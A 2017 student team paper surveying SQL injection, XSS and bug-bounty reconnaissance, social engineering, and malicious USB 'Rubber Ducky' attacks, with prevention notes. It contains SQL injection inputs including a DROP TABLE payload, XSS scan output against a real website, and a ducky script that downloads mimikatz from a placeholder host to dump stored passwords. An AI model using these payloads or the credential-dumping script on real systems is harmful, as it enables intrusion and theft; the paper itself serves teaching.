Chuckheads Final Paper

Team Chuckheads
Aaron Gardner
Zachary Priest
Matthew Crosby
Charles Burnell
Jay Capcha

April 30, 2017

1 SQL Injection

1.1 Overview

Injetion is classified by the Open Web Application Security Project as the top threat vector to web applications. An injection attack is defined by a malicious entity sends untrusted data to an interpreter as part of a command or query. This untrusted data can trick an interpreter into executing commands sent by the external malicious user, or accessing data without authorization. SQL Injection attacks are application specific, targeted at applications running an SQL (Structured Query Language) database. On very simple implementations, data that users provide is entered into a SQL database using pre-written SQL queries as string literals, with the user supplied information being concatenated into the body of the query. This is very easy to exploit, as attackers simply send text that exploits SQL syntax.

1.2 SQL in Web Pages

Consider a simple login screen. The user is presented with two text inputs, one for username and one for password. The code for that may look something like this:

```
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId =" + txtUserId;
```

The rest of this section will explain how a malicous user can exploit this implementation.

1.3 SQL Injection based on 1=1 is always true

A normal user would simply type something like "John Doe" as their username and "myPass" as their password. The SQL query formed by concatenating user input with a

pre-written string literal might look like this:

```
SELECT * FROM Users WHERE Name = "John Doe" and Pass ="myPass"
```

In this very simple implementation, there is nothing stopping a user from entering input that can be misinterpreted by the SQL interpreter. For instance, if the user entered:

```
105 OR 1=1
```

then the SQL query sent to the interpreter would be:

```
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
```

This SQL is valid, and since the boolean logic of anything with OR 1=1 will make the statement always true, it will return every row of the Users table. With a simple text input, every row in this table is now exposed. If the Users table contains passwords and emails, this sensitive data is now exposed.

'OR 1=1' is just one such entry that can fool the SQL interpreter, but is certainly not the only one. For instance, entering

```
" or ""="
```

as both username and password will yield the following statement:

```
SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""
```

1.4 SQL Injection based on batched SQL statements

Most databases support batched SQL statments as a form of executing several queries or statments at once. Batched statements are statements on the same line, seperated by a semicolon. For example, on a database that supports batched statements, the following would be legal:

```
INSERT INTO Users (username, password, email)
VALUES ("admin", "pass", "me@yes.com"); SELECT * FROM Users;
```

A website that does not validate input and uses string concatenation would allow the following input to exploit batched statements:

```
73128; DROP TABLE PaymentInfo
```

Which would turn the original SQL query to find users into this batched statement:

```
SELECT * FROM Users WHERE UserId = 73128; DROP TABLE PaymentInfo;
```

From one line of text input, a malicous user has been given the capability to drop an entire table of data! For a Fortune 500 company, this could be catastrophic. In the hands of a especially creative attacker, they could even do more devious things, such as copying the billing information from one client to several others. Changes like this are sure to damage client relations.

1.5 Protection

All modern Web languages have a best-practice way of handling user input to prevent SQL injection, but surprisingly this attack vector remains at the top of OWASP's top 10 list. I believe this is because of the many fallacies that surround protection from SQL attacks, including data sanitization. PHP had a feature called magic-quotes, which was designed as a fix-all for escaping SQL commands embedded in user-input, but it had exploitable weaknesses that lead to its deprecation.

The proper implementation has one rule: whenever embedding a string within foreign code it must be escaped according to the rules of that language. This means that SQL code that will run on a MySQL database must be escaped using the MySQL syntax rules. SQL code that will run on MSSQL will be escaped using MSSQL rules, and so on.

Another method is to use prepared statements and SQL parameters. A prepared statment is pre-written, and accepts values as inputs. These inputs are always escaped by the SQL interpreter.

Here is what a prepared statment would look like in PHP:

```
$sql =
"INSERT INTO Users (Username, Address) VALUES (:name, :address)"
$preparedStatement = $databaseHandle->prepare($sql);
$preparedStatement->bindParam(':name', $name);
$preparedStatement->bindParam(':address', $address);
$preparedStatement->execute();
```

2 Zach's attack

Bug-Bounty Programs Bug-bounty programs are utilized by companies to find vulnerabilities in their web-services. With an ever growing need to put information out on the web; whether it be blogs, news articles, social media, cloud storage, remote work, etc you can see why a company would want their services secure. There is also research that for web-based services, it can be more beneficial to be a part of a bug-bounty program than it is to hire multiple full time security analysts. With the theory More sets of eyes are better than one bug-bounty programs have taken off in recent times. Thousands of dollars are awarded monthly, and for some researchers who really know their stuff - it can be their full time job.

Looking at bug-bounty programs specifically, we find the top two submits/payouts over the last couple years have been either SQL Injection or Cross Site Scripting(XSS). Both are important as they can each have huge impacts to both the company and users information and security. XSS is quite interesting to me, as it can be a little harder to protect everywhere it can happen on a web service, and escalating from a general XSS vulnerability to a full out attack is interesting to me.

NOTE: There are reasons for web developers have to stay on top of their game as far as security goes. As time goes on, new attacks are created and new attack vectors are announced. Updates get rolled out, which changes the way web developers have to

protect their infrastructure. Sometimes, websites are slow to roll them out, so their web service is vulnerable to the attacks those updates were put in place to defend.

Most bug-bounty programs wont allow any submits from automated scanners. The reason for this is there is a lot of false-positives. However, can you imagine how many hours would be spent diving into a website, with hundreds to thousands of webpages and/or sub-domains that are associated with it? Doing this manually can be exhausting, and can make anyone want to lose their mind and give up. After asking a few bug-bounty aficionados on how they go about first looking into a website I found a general consensus that they all use some form of automated scanner to get a good layout of the web site and and how the backend is laid out. Nmap, Burp-Suite, Web-Scraping tools, Proxies, etc all seem to be pretty common, as well as some custom built python scraping tools. One of those I will discuss below - Xsscrapy. Basically no matter what tools are used, they are all for intelligence gathering. There is still a significant amount of manual testing to be done once an area is found that might be vulnerable.

XSS As discussed above, Im focusing on XSS attacks, both client and server side attacks. The first thing to discuss is; What exactly is XSS? An XSS vulnerability is when a website displays user input without escaping it. There a number of ways to escape input fields, and its fairly easy to defend against now a days with a few lines of code - but theres still a number of websites that have this vulnerability or have had it exposed in the recent past. There are two main types of XSS: Persistent and Non-persistent.

Persistent XSS Malicious string or code block is hosted on the websites database. The attacker was able to inject something into the database that will affect all victims. This is probably the most expansive and impactful XSS vulnerability as it doesn't really require anyone to be social engineered into clicking on a bad link.

Non-Persistent XSS This is also referred to as Reflected XSS or when the malicious string is input through the victim. An example of this would be throwing www.example.com/query?= ¡script¿malicious-stuff-here¡/script¿ and shortening the URL, social engineering someone to click on the link, and voila!

Tools

Burp-Suite - Utilized by penetration testers, as at the very minimum it can be used to intercept all data being transferred to the browser as a web page is loaded. This includes javascript files, DOM elements, cookies, referral headers. The tool is useful for finding un-sanitized/validated/encoded elements being passed around. Personally, I think the most useful part of this tool is to show the referral headers that are being passed to the browser as the web page is being loaded.. They are often forgotten about as a potential attack vector.

XSScrapy An open source XSS scanner by Dan McInerney. It is a python scripted tool that scrapes a website, this tool creates spiders that recursively check every URL held in that domain to find possible injection points. There are a number of different injection points where the injected string 1zqjam'"()¡x¿:/1zqjam;9 is placed into them. This injection string contains the most dangerous character that can be used to subvert basic levels of escaping. There is an output text file given after searching recursively through every link, that lists some of the results. An example ran against YouPorn is :

URL: http://www.youporn.com/
responseURL: http://www.youporn.com/search/?query=1zqjam
POST url: http://www.youporn.com/search/
Unfiltered: '"():/;
Payload: 1zqjam'"()¡x¿:/1zqjam;9
Type: form
Injection point: query
Possible payloads: x"/onmouseover=prompt(9)/", x" onmouseover=prompt(9) "
Line: ¡meta name="description" content="watch 1zqjam'"():/1zqjam;9

Here, the important parts are the Repsonse URL: http://www.youporn.com/search/?query= and the Payload: 1zqjam'"()¡x¿:/1zqjam;9. The string '"()¡x¿:/ is the most important part of the injected payload and as you can see by the response URL, all the characters that pass thru authentication are all encoded as

Another example with a different output against a sub-domain of YouPorn is:

URL: https://blog.youporn.com/stop-sopa-stop-internet-censorship/ Found non-registered domain in script tag! Non-registered URL: http://www.gsy009.com/Scripts.js

This is probably the most devastating finding this tool can give you. It recursively checks every javascript file link inside the DOM of the webpage, so in this case it automatically nmaps the domain www.gsy009.com/Scripts.js. This domain is no longer registered, so this javascript file that's hosted on this blog portion of YouPorn links to nowhere. That is, until one could have the desire to buy that domain (www.gsy009.com) and host a malicious javascript file (named Scripts.js) from there, and victim's browser will automatically some potentially devastating code.

Sublist3r Interesting tool that checks sub-domains of a given domain. Uses web searching sites such as Google, Yahoo, Bing, Ask, Baidu, and some DNS scanners, and brute forcing through them to find any reference to sub domains (Ie: blog.zachpriest.com is a sub-domain of zachpriest.com). Sublist3r also port scans each sub-domain, showing you what ports are open what arent. This is important recon work that goes into penetration testing, as sub-domains are potential backdoors into a companies infrstructure as well.

Recent Interesting Bounties and Escalation To get a good payout - or in some cases even be able to submit a bug on one of these bug-bounty platforms, a simple Reflected XSS attack wont work. Its important for the security researcher to escalate the bug as far as he can. There are a number of ways to do this, so it really takes ingenuity and a lot of manual testing to stitch together different bugs to make one big, impactful one. This is where the big payouts are, and the following is a short list of the most interesting ones I have read.

Self XSS to Good-XSS AirBNB - http://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/

Stored XSS on developer.uber.com via admin account compromise - https://hackerone.com

Self-XSS to Good-XSS Uber - https://whitton.io/articles/uber-turning-self-xss-into-good-xss/

This is just a small list of impactful bugs that paid out at least five thousand dollars to security researchers that found them. There are a number of "hall of fame" lists out there for every vulnerability you can think of, these were interesting to me because they were in-depth and gave a good overview on how a security researcher goes about escilating a common, not such a big deal xss vulnerability into something much more. The list I used is: https://github.com/ngalongc/bug-bounty-reference#cross-site-scripting-xss.

3 Matt's attack

4 Jay's attack

Social engineering is a type of confidence trick or also might be described as a psychological manipulation of people to get them to perform some desired action or to divulge sensitive information for the purpose of information gathering, fraud, or system access. It is often one of many steps in a more complex fraud scheme. Social engineering has been used very often successfully among computer and information security professionals. The techniques used for social engineering are based on specific attributes of human decision making known as cognitive biases. These biases can be thought of as bugs in the human hardware, which can be exploited in various combinations that create opportunity for specific attack techniques, some of which will be covered in this paper.

Phishing is one of the most used technique used to fraudulently attain someones private information. The most common vector used is an e-mail that looks to be from a legitimate business, like a bank or credit card company, and is some form requesting varification of anything from passwords, ATM pin numbers, or credit card information. It's usually accompanied by some warning of dire consequence if they are not provided. Another example of phishing is a link provided for the victim to click on to verify their information by directing them to a spoofed website that looked exactly like the website

their used to seeing. There they will be prompted by a form to validate all their credentials for that site. It's fairly easy to make a website resemble a legitimate organization's site by mimicking the HTML code and logos that the scam counted on the victim being tricked into thinking they were being contacted by that organization. The "phisher" basically shotguned or spammed the e-mail to large groups of people in the hopes that some of the people had accounts with the fake website they made and they would actually be tricked into responded with their desired credentials.

Spear phishing is similar to phishing with the difference being a highly customized email to only a few targeted users that have been well researched by the phisher. Because of the extra effort in researching the victims and the more detail put into the e-mail yields a greater success rate of spear phishing attacks compared to phishing attacks. To give an idea of the differences is success rates between phishing and spear phishing, phishing has a modest 5of spammed e-mails to spear phishing's 50

Water holing is a more involved and sophisticated attack. The strategy is to capitalize on the trust users have in websites they regularly visit. The idea is that they will do things like click on links without giving it much thought because of the trust they have for these regularly visited sites. The attacker uses this trust to set a trap for the unwary victim at the favored watering hole. This technique has been used to gain access to very secure systems. This involves gathering information about websites the targets often visit from a secure system. This survalence confirms that the targets visit the websites and that the secure system allows these visits. The attack tests the sites for vulnerabilities to inject code that may infect the targets system with maleware. The injected code trap and maleware is taylored to the specific target group and the specific systems they use. In time, one or more members of the target group will get infected and the attacker can gain access to the secure system.

Baiting is a real world modern day Trojan horse that uses physical media and relies on the curiosity or greed of the victim. It's as simple as leaving a maleware-infected device like a floppy disk, CD-ROM, or USB flash drive in locations where people will find them, like bathrooms, elevators, sidewalks, parking lots, etc. There will be some sort of alluring feature like a big time corporate logo with a label saying "Executive Salary Summary Q4 2017". This should be enough to peak any of the targeted victims afore mentioned shortcomings to pick the device up and using it to see what it has stored in it. All the attacker needs to gain access to the victim's PC, or target company's internal computer network is for the victim to insert the device into the computer and the malware is installed.

Tailgating is when an attacker is seeking to gain entry to a restricted area secured by unattended, electronic access control like a RFID card. The attacker simply walks in behind a person who has legitimate access to the area. The unknowing victim will follow common curtesy and will hold the door open for the attacker or the attacker may themselves ask the employee to hold it open for them. If the victim asks for identification the attacker can just claim they lost the or forgot the appropriate identity token, or even present a fake token. It's all in the convincing act of the attacker, and the gullibility of the victim.

5 "Rubber Ducky" mallicious USB devices attack

A "Rubber Ducky" attack is neither a client or server side attack and instead is a physical attack that preys on either a person's curiosity or a person's lack of knowledge. The basis for the attack is either an infected USB thumbdrive or a specifically created USB drive.

5.1 Designed devices

There are commercially created devices that are used to execute this type of attack. A common one is the Hakshop USB Rubber Ducky. It is created to make writing the attack as simple as possible so the barrier of entry is lowered. They also have a github repository that has premade attacks (https://github.com/hak5darren/USB-Rubber-Ducky).

```
REM mimikatz ducky script to dump local wdigest passwords from memory using mimikatz (
DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 300
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://<replace me wi
DELAY 300
ENTER
DELAY 3000
STRING %TEMP%\mimikatz.exe
DELAY 300
ENTER
DELAY 3000
STRING privilege::debug
DELAY 300
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
DELAY 300
ENTER
DELAY 1000
STRING exit
DELAY 300
ENTER
```

```
DELAY 100
STRING del %TEMP%\mimikatz.exe
DELAY 300
ENTER
```

This attack is from the payload wiki that is created for the hakshop device. It uses mimikatz and the elevated privages of a user to dump their passwords from digest. The nice thing about these devices is that writing custom scripts for it is easy and it just requires the user to know what keystrokes they want to simulate

subsectionHID creation/SET The social engineering toolkit can use Arduino like devices to create a device that is similar to the hakshope rubber ducky.

```
This attack vector also attacks X10 based controllers, be sure to be leveraging
 X10 based communication devices in order for this to work.

 Select a payload to create the pde file to import into Arduino:

   1) Powershell HTTP GET MSF Payload
   2) WSCRIPT HTTP GET MSF Payload
   3) Powershell based Reverse Shell Payload
   4) Internet Explorer/FireFox Beef Jack Payload
   5) Go to malicious java site and accept applet Payload
   6) Gnome wget Download Payload
   7) Binary 2 Teensy Attack (Deploy MSF payloads)
   8) SDCard 2 Teensy Attack (Deploy Any EXE)
   9) SDCard 2 Teensy Attack (Deploy on OSX)
  10) X10 Arduino Sniffer PDE and Libraries
  11) X10 Arduino Jammer PDE and Libraries
  12) Powershell Direct ShellCode Teensy Attack
  13) Peensy Multi Attack Dip Switch + SDCard Attack
  14) HID Msbuild compile to memory Shellcode Attack

  99) Return to Main Menu
```

These are the attcks that the Social Engineering Toolkit have prebuilt for deployment on a teensy or arduino like microcontroller. The attacks for this are more sofisticated if the attacker wants to modify it because they are written in c or c++. Attack 13 wouldn't be a type of attack where the device was used by an unsuspecting user. It creates a tool that uses dip switches to change what attack is being run and could be used by a malicious person changing the dip switches while trying to exploit an empty workstation.

subsectionBadUSB Devices "BadUSB" is research on different USB devices that can be converted to execute these style of attacks named. These attacks require the creator to reprogram the firmware of a device. This attack is not limited to USB thumbdrive type devices.There is a list of devices that have been researched at https://opensource.srlabs.de/projects/badus

5.2 Impact

This attack requires that the attacker have more knowledge on the physical operations of a target. On a successful attack this increases the payoff. An example of this being sucessful is the Stuxnet attack on Iran. The attack was able to cross into an air gaped, not accessable from the internet, system and destroy centerfuges because the payload was designed to target the industrial control systems that the centerfuges used. This is an extreme example but these styles of attacks have been used by nation's to protect their self interest.

5.3 Prevention

Preventing the lower level versions of these attacks are simple. Don't let regular users have local admin. Blacklist USB devices and don't allow automatic installation.
For the higher value targets that require zero-day exploits there isn't much of a defence because they are by definiton an unknown attack. The mitigation on these is to design a system where there isn't a single point that cause cause systemic damage.